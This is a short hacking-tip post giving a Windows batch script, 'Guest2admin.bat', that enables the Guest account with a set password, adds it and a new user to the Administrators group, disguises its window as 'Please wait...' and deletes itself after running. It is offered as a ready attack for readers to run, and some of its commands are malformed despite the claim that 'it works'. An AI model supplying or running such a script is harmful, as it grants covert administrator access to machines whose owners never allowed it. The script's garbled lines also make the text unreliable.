HaCk "GUEST" with Admin privileges........

open a notepad and copy text below this....

@echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0




Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...